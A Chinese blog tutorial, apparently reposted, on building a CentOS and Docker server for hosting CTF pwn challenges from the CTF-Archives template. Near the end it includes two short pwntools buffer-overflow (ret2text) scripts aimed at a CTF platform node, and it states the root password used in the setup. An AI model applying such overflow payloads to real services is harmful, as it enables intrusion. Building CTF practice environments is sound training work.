从零开始部署CTF题目环境(docker容器)

news2024/11/26 3:42:27

本教程将教会大家如何安装一台可以部署docker容器形式的CTF题目的CentOS服务器。

操作步骤

1-下载操作系统镜像文件

虚拟操作系统:CentOS 8  (CentOS 9 毛病多,先不装)

镜像文件下载地址,点击X86_64即可

CentOS Stream

选一个下载快的,我选的清华 ,下那个12.2G的

下载得到

2-创建CentOS 虚拟机

VMware WorkStation点击创建新的虚拟机

选择典型即可

选择第二项,并指定你下载好的镜像文件

指定一下虚拟机名称,存放位置也改一下

50GB(只是后期不想扩容,20GB也行)

 自定义硬件,按照自己配置来,内存拿一半吧

自定义一下硬件,不然默认配置会很慢。内存取电脑一半,处理器1  内核4

第一次启动会有点久

3-安装CentOS 8系统

ctrl+alt+回车 切换全屏,选择简体中文!

配置Root密码

 密码为Rotten2023 ,点击完成

创建新用户centos

时间和区间设为上海

安装目的地点进去,然后退出来就行

没有报错,点击开始安装,时间可能会有点久

4-CentOS 换源

CentOS8 更改YUM源_centos8更换yum源-CSDN博客

换好后

yum update

5-安装docker

安装所需的软件包以允许 dnf 使用存储库通过 HTTPS 下载软件包:

sudo dnf install -y dnf-utils device-mapper-persistent-data lvm2

添加 Docker 存储库:

sudo dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo

安装docker引擎

sudo dnf install -y --allowerasing docker-ce docker-ce-cli containerd.io


启动docker服务

sudo systemctl start docker

设置开机自启(可选)

sudo systemctl enable docker

验证安装情况

sudo docker run hello-world

本地没镜像,报错 ,可使用以下指令手动拉取(默认自动下载,但我这里卡住了,所以手动拉)

sudo docker pull hello-world

 OK了

6-docker换源

Docker安装及镜像源修改_更换docker镜像源-CSDN博客

如果发现那个nano编辑器用不来,可以看这个

CentOS下nano编辑器使用教程_centos 中noao 怎么用-CSDN博客

7-题目docekr部署 

借助巨魔的CTF靶机模板

GitHub - CTF-Archives/ctf-docker-template: Deployment template for docker target machine in ctf for CTFd and other platforms that support dynamic flags

先安装git,root用户

yum install git

 拉取项目

git clone 项目网址

PWN篇

取出一个模板,替换src中的二进制文件 

默认文件名为attachement,如需替换,需修改配置文件

替换好之后,这个目录下打开控制台

docker compose up -d

如果没设置IP, 或者忘了

查看容器列表

docker ps

 查看指定容器IP

docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' 1397af75dab3   #最后的是容器ID

就会自动构造image并运行docker容器,nc测试

注意,我用的是rip的题目文件,由于版本升级,可能wp要参考新版本的

旧版本无法打通

from pwn import * 

p=remote('node4.buuoj.cn',27036)

payload=b'a'*(15)  + p64(0x401186)

p.sendline(payload)

p.interactive()

加了中堆栈平衡的题解

from pwn import * 

#context(os='linux', arch='amd64', log_level='debug')

p=remote('node4.buuoj.cn',29110)

payload=b'a'*(23) + p64(0x0401016)  + p64(0x401186)

#p.recvuntil("please input\n")

p.sendline(payload)

p.interactive()

这是2023年第三次尝试自己搭建pwn环境,前两次均以失败告终,这次,在诸位大佬和群友的帮助下,终于得以完成。博主太菜了,给大家带来了麻烦,希望这篇博客能帮助大家更好的上手题目环境的搭建。

 本次学习需要由衷感谢以下几位大佬的支持

CTF-Archives开发者-感谢大大们的模板

华为大佬-协助docker问题解决

Rotten战队交流群群友-顶级pwn手-解决脚本问题

 

还有许多篇博客的编写者

祝愿CTF-Archives项目越做越好,加油!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1342940.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

邮件营销最佳时段:提升邮件打开率与转化率的策略

在如今数字时代,电子邮件营销已成为企业推广及与客户互动的有效途径。但是,一个普遍的现象是:何时发送电子邮件才能更合理?本文将探讨电子邮件营销的出色推送机会,并提供一些有用的提议,以帮助企业更好地规…

以元旦为题的诗词(二)

都放假了吧,都有空了吧,可坐下来好好学学诗词,好好写些诗词了吧,我先来几首,你实在不行,去百度或者小程序搜索《美诗计》写一写 元旦 去年元日落寒灰,今岁清明在此杯 老眼看书如梦寐&#xff…

ALSA学习(4)——Control设备的创建

参考博客: https://blog.csdn.net/DroidPhone/article/details/6409983 (下面的内容基本是原博主的内容,我只是修改了一些格式之类的) 文章目录 一、Control接口二、Controls的定义三、Control的名字四、访问标志(ACC…

运维分享|MySQL的字符集(一)

📫 作者简介:「六月暴雪飞梨花」,专注于研究Java,就职于科技型公司后端工程师 🏆 近期荣誉:华为云云享专家、阿里云专家博主、 🔥 三连支持:欢迎 ❤️关注、👍点赞、&…

Servlet获取前端请求的参数和中文乱码的解决方案

目录 1.Servlet获取前端请求的参数 1.1创建jsp 1.2构建servlet实例 1.3配置web.xml 2.中文乱码的解决方案 2.1请求时候的乱码问题 2.2响应时候中文乱码的问题 学好Servlet必须紧紧围绕着请求和响应这两个概念。 下面开始写在请求的时候前端带数据到servlet里面&#xff…

DP进阶之路——01背包问题

题目链接:题目页面 小明是一位科学家,他需要参加一场重要的国际科学大会,以展示自己的最新研究成果。他需要带一些研究材料,但是他的行李箱空间有限。这些研究材料包括实验设备、文献资料和实验样本等等,它们各自占据不…

【数据结构】C语言实现双链表的基本操作

双链表及其基本操作的实现 导言一、单链表与双链表二、双链表类型的创建三、双链表的初始化四、双链表的创建五、双链表的遍历六、双链表的查找七、双链表的插入八、双链表的删除结语 导言 大家好,很高兴又和大家见面啦!!! 经过…

SpringBoot+modbus4j实现ModebusTCP通讯读取数据

场景 Windows上ModbusTCP模拟Master与Slave工具的使用: Windows上ModbusTCP模拟Master与Slave工具的使用-CSDN博客 Modebus TCP Modbus由MODICON公司于1979年开发,是一种工业现场总线协议标准。 1996年施耐德公司推出基于以太网TCP/IP的Modbus协议&…

Linux - 设置虚拟机和主机IP在同一网段(桥接)

1.查看主机ip地址等相关信息。 ipconfig -all 2.设置虚拟网络编辑器 打开虚拟网络编辑器 设置虚拟网络编辑器,设置为桥接模式。(记得以管理员方式打开VMware)。 3.修改虚拟机网卡文件 查看虚拟机ip,我们的目标是将其修改为与主机同一网段…

JAVA电商平台 免 费 搭 建 B2B2C商城系统 多用户商城系统 直播带货 新零售商城 o2o商城 电子商务 拼团商城 分销商城

在数字化时代,电商行业正经历着前所未有的变革。鸿鹄云商的saas云平台以其独特的架构和先进的理念,为电商行业带来了全新的商业模式和营销策略。该平台涉及多个平台端,包括平台管理、商家端、买家平台、微服务平台等,涵盖了pc端、…

合并区间(LeetCode 56)

文章目录 1.问题描述2.难度等级3.热门指数4.解题思路参考文献 1.问题描述 以数组 intervals 表示若干个区间的集合,其中单个区间为 intervals[i] [starti, endi] 。请你合并所有重叠的区间,并返回 一个不重叠的区间数组,该数组需恰好覆盖输…

虚拟机域环境的搭建

开始准备两台虚拟机Windows Server 2016和Windows10. Windows Server 2016的配置: 1.要用Administrator管理员,首先创建一个Administrator管理员 在此就可以创建一个新用户 然后退出登录就可以了。 2.开始环境的搭建 第一步: 第二步&…

Qt篇——QwtPainter::drawPie绘制扇形

QwtPainter::drawPie(QPainter *painter, const QRectF &rect, int startAngle, int angle); 一、参数含义: painter: 重绘函数中的painter对象 rect: 要绘制扇形的圆的外切矩形。 startAngle: 要绘制的扇形的起始角 …

【计算机毕业设计】SSM游戏点评网站

项目介绍 本项目分为前后台,前台为普通用户登录,后台为管理员登录; 管理员角色包含以下功能: 管理员登录,管理员管理,网站用户管理,游戏资讯管理,游戏类型管理,城市信息管理,竞技场管理,游戏信息管理,游戏评价信息管理等功能。…

深眸科技创新工业AI视觉系统,与机械臂协同工作实现视觉引导功能

工业AI视觉系统:工业AI视觉系统能够在工业环境中进行缺陷检测、视觉分拣、物流供包、拆码垛、工业上料等应用。 随着国内工业企业不断进步和发展,传统机器视觉无法满足企业对复杂操作流程的需求,多数制造企业对于机器视觉系统的需求增长。而…

苹果Mac电脑甘特图管 EasyGantt最新 for mac

EasyGantt提供直观的界面,让用户能够轻松创建具有时间轴视图的甘特图。你可以添加并排列任务、设置任务的开始和结束日期、调整任务之间的依赖关系等。 任务管理:软件允许你添加、编辑和删除任务,设定任务的优先级和状态,并为每个…

Openstack开启虚拟化嵌套

好久没写东西了,前两天我准备在虚机上装一个vmware 的虚机,结果失败了,提示如下,由于我是虚机上安装虚机,我的宿主机肯定是开启了vt-x和vt-d的 查了一些资料,这个需要打开nested,先看看nested返回是否为Y&a…

PicGo+GitHub搭建免费图床

PicGoGitHub搭建免费图床 步骤 1: 安装 PicGo步骤 2:创建图床仓库步骤 3: 配置 GitHub Token步骤 4: 配置 PicGo步骤 5: 上传图片步骤 6: 访问图片 使用 GitHub 作为图床的优势在于免费、稳定且具有版本控制功能,特别适合个人博客、小型项目等。PicGo作为一个开源的…

无论男孩女孩都要尽情打扮

这款柔软又细腻的开衫外套 上身体验感很不错的哈 舒适软糯百搭还透气,抗起球的面料 黑灰两色简单大方 胸前加上了流行的刺绣设计,可爱又精致 单穿内搭都可,现在天气还比较冷 外面可以套个羽绒服之类的 时尚叠穿风,韩系范儿…

c语言-位操作符练习题

文章目录 前言一、n&(n-1)的运用场景(n为整数)二、&1 和 >>的应用场景总结 前言 本篇文章介绍利用c语言的位操作符解决一些练习题,目的是掌握各个位操作符的使用和应用场景。 表1.1为c语言中的位操作符 操作符含义&按位与|按位或^按位异或~按位…